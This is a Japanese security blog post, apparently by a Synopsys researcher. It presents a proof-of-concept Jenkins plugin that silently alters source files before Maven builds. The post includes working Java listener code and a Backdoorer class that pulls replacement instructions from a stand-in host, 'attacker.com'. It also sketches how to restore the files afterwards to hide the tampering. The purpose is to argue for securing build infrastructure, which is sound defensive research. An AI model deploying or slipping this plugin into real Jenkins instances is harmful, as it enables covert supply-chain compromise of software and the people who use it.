Table of Contents

    私がシノプシスに入社したばかりのとき、ある同僚が私たちのチャット・チャンネルの1つで「JenkinsでMavenのビルドにバックドアを仕掛ける方法は?」という興味深い質問をしました。私は、興味をそそられたものの、その質問を追求する時間的余裕がありませんでした。

    ご存じない方のために一言しておくと、JenkinsはCI/CDでソフトウェアを構築、テスト、デプロイするために広く利用されている自動化ツールです。Jenkinsは、規模の大小を問わず、多くの企業でソフトウェア構築に使用されているオープンソースです。

    最近起こった注目度の高い侵害によりサプライチェーンのセキュリティに再び注目が集まったこともあり、私はその質問を再検討し、ビルドする前に攻撃者による変更をソースコードに追加できる概念実証用のJenkinsプラグインを開発することにしました。上流のソースリポジトリのコミットは必要ありません。

    コードの説明に進む前に、いくつかの注意点があります。

    • まず、この手法では、攻撃者がJenkinsインスタンスに対してプラグインをインストールするための十分な権限を持ち、被害者に気付かれないことを前提としますが、その可能性は思ったよりもはるかに高いものです。
      シノプシスの内部ペネトレーション・テストの結果では、Jenkinsインスタンスの認可がきめ細かく設定されていないことが多く、「ログインしたユーザーがすべての機能を実行できる」または場合によっては「誰でもすべての機能を実行できる」モードで実行されているケースが頻繁に発見されます。きめ細かな認可を設定している場合でも、Jenkinsインスタンスが特権のエスカレーションに対して脆弱であることが一般的です。また、Jenkinsにアクセスするための資格情報は、通常、比較的簡単に入手できます。
      しかも、これまでのところ、私は組織がプラグインのインストールを注意深く監視している形跡を見たことがあまりありません(おそらくその必要はあると思うのですが)。実際、Jenkinsを含め、開発関連のツールやインフラストラクチャなどのシステムは、多くの場合、全般にセキュリティ、パッチの適用、監視が不十分であることがわかりました。
    • また、これはJenkinsの欠陥や脆弱性の問題ではないことをはっきりさせておきたいと思います。これからご紹介する手法では、プラグインに公開される正規な機能を使用しています。
    • これはJenkinsなどのビルドシステムを破壊することが比較的容易であることを示す概念実証であり、ビルド・システムの保護が重要である理由を明確にしています。言うまでもなく、ペネトレーションテストレッドチームの実施中にこのような攻撃を行うことにはリスクが伴うので、実行する際は細心の注意を払う必要があります (デプロイに使用される認証情報を入手するなどの方法を利用すれば、Jenkinsから手早く成果を得られます) これから示すコードは、コーナーケースやキャッシングなどをあまり意識しないで簡便に作られたものです。

    バックドアの作成

    次に、技術的な詳細の説明に入ります。

    Jenkinsにはプラグインのライフサイクル修飾子として機能するさまざまな拡張ポイントがあります。ここで関連があると思われるクラスはWorkspaceListenerSCMListenerの2つです。WorkspaceListenerのbeforeUse()メソッドを使用すると、ビルドが発生する前にワークスペースを操作することができ、SCMListenerのonCheckout()メソッドを使用すると、コードがソースリポジトリからプルされた後(ビルドの前)にワークスペースを操作できます。

    AbstractBuild.AbstractBuildExecutionのrun()メソッドのソースを調べることで、この動作を簡単に確認できます。

    ビルドが実際に実行される前(504行目)に、登録されたWorkspaceListenerインスタンスでbeforeUse()が呼び出されます(495行目)。checkout()(499行目)でdefaultCheckout()を呼び出し、チェックアウトが成功した場合、登録されたSCMListenerインターフェイスでonCheckout()を呼び出します。

    SCMを使用しないインスタンスはWorkspaceListenerでカバーされますが、SCMを使用するインスタンスの場合はWorkspaceListenerの変更がチェックアウトによって消去されるため、SCMListenerが必要です。両方のインスタンスを登録することでプロジェクトの適用範囲に柔軟性を持たせることができます。

    そこで、次のような単純なリスナーをいくつか作成するという方法があります。

    @Extension
    public class WorkspaceBackdoorerListener extends WorkspaceListener {
     @Override
     public void beforeUse(AbstractBuild b, FilePath workspace, BuildListener listener) {
      Backdoorer.backdoorFiles(b, workspace);
     }
    }

    @Extension
    public class WorkspaceBackdoorerSCMListener extends SCMListener {
     @Override
     public void onCheckout(Run build, SCM scm, FilePath workspace, TaskListener listener, File  changelogFile, SCMRevisionState pollingBaseline) throws Exception {
      Backdoorer.backdoorFiles((AbstractBuild) build, workspace);
     }
    }

    ファイルの変更方法は、ステルス要件、対象となるファイルの変更頻度などによって異なります。次の例では、プラグインが、以下の要素で構成される配列を持つリモートJSONファイルを要求します。

    • ターゲットとなるJenkinsプロジェクト
    • 後でチェックされるファイルのリストを絞り込むためのglobパターン
    • 置き換えるファイルのファイル名とMD5ダイジェスト
    • ファイルに新規に書き込む内容

    public class Backdoorer {
     private static final String cmdUrl = “https://attacker.com/command.json”;

     protected static void backdoorFiles(AbstractBuild b, FilePath workspace) {
      String projUrl = b.getProject().getUrl();

      HttpResponse<JsonNode> response = Unirest.get(cmdUrl).asJson();
      JsonNode resp = response.getBody();

      for(Object project : resp.getArray()) {
       JSONObject p = (JSONObject) project;

       if(p.getString(“projUrl”).equals(projUrl)) {
        String pattern = p.getString(“searchPattern”);

        try {
         FilePath[] workspaceFiles = workspace.list(pattern);

         for(Object replacement : p.getJSONArray(“replacements”)) {
          JSONObject r = (JSONObject) replacement;
          String filename = r.getString(“filename”);
          String digest = r.getString(“digest”);
          String newContents = r.getString(“newContents”);

          Arrays.stream(workspaceFiles).filter(f -> f.getName().equals(filename)).forEach(f -> {
           try {
            if(f.digest().equals(digest)) {
             f.write(newContents, null);
            }
           } catch (IOException | InterruptedException e) {
            e.printStackTrace();
           }
          });
         }

        } catch (IOException | InterruptedException e) {
         e.printStackTrace();
        }
       }
      }
     }
    }

    キャッシュもない単純なコードですが、ファイル操作にはJavaのネイティブFileクラスではなく、Jenkins固有のFilePathクラスが使用されていることに注意してください。JavaネイティブFileクラスはリモート・ビルド・エージェントにあるファイルを透過的に処理します。

    変更されたファイルはビルドが完了した後もワークスペースに残ります。カウンター・フォレンジック(証拠隠滅)対策として、変更されたファイルを元の状態に戻すことが必要な場合があります。私はこれを実装しようと試みたことはありませんが、Jenkinsの拡張ポイントを見ると、実行可能な手段としては、BuildStep引数がNotifierのインスタンスかどうかをチェックするfinished()メソッドを使用してBuildStepListenerを作成する方法があります。

    サンプルMavenプロジェクトをプルしてビルドするだけの基本的なフリースタイル・プロジェクトを考えてみましょう。

    ソースコードを見ればわかるように、構築されたメインクラスは”Hello world”と印刷するだけです。そこで、このファイルの変更方法をプラグインに指示するJSONファイルを作成します。

    [
     {
      ”projUrl”: “job/Test/”,
      ”searchPattern”: “**”,
      ”replacements”: [
       {
        ”filename”: “App.java”,
        ”digest”: “3efe91774afb84a68f0d81ee3610510f”,
        ”newContents”: “package com.github.jitpack;\r\n\r\n\/**\r\n * Hello world!\r\n *\r\n     *\/\r\npublic class App\r\n{\r\n public static void main(String[] args)\r\n {\r\n        System.out.println(new App().greet(\”world\”));\r\n }\r\n\r\n public String greet(String name) {\r\n return \”You’ve been backdoored, \” + name;\r\n }\r\n}”
       }
      ]
     }
    ]

    そして、そのファイルを提供します。

    このビルドを実行すると、Gitからソースコードが取得されていることがわかります。

    ビルドされたバージョンを実行すると、内容が変更されています。

    開発インフラストラクチャのセキュリティ確保が重要な理由

    うまくいけば、侵害されたJenkinsインスタンスをその所有者に向けるという比較的簡単な方法で仕返しが可能で、「ただの」バックドア・コードをはるかに凌ぐ効果があります。Jenkinsなどのシステムには、通常、本番のオンプレミスActive Directory環境、クラウド環境、Kubernetes環境などの他システムの多くの資格情報が存在します。分散ビルド・エージェントによって他のネットワーク・セグメントへの横移動が可能になります。これらのシステムにアクセス可能なソースコードや構築されたアーティファクトは、漏洩してはならない重要なIPを構成している可能性があります。

    こうした可能性(その多くは、この例で示す高い特権レベルを必要としません)によって、Jenkinsインスタンス、CI/CDシステム全般、「開発インフラストラクチャ」が攻撃者にとって総じて魅力的なターゲットになっているため、これらを堅牢なパッチ管理、アクセス制御、構成管理措置の対象にする必要があります。組織またはそのベンダーが実施するセキュリティ評価では、これらのシステムを確実にカバーし、セキュリティ対策を評価する必要があります。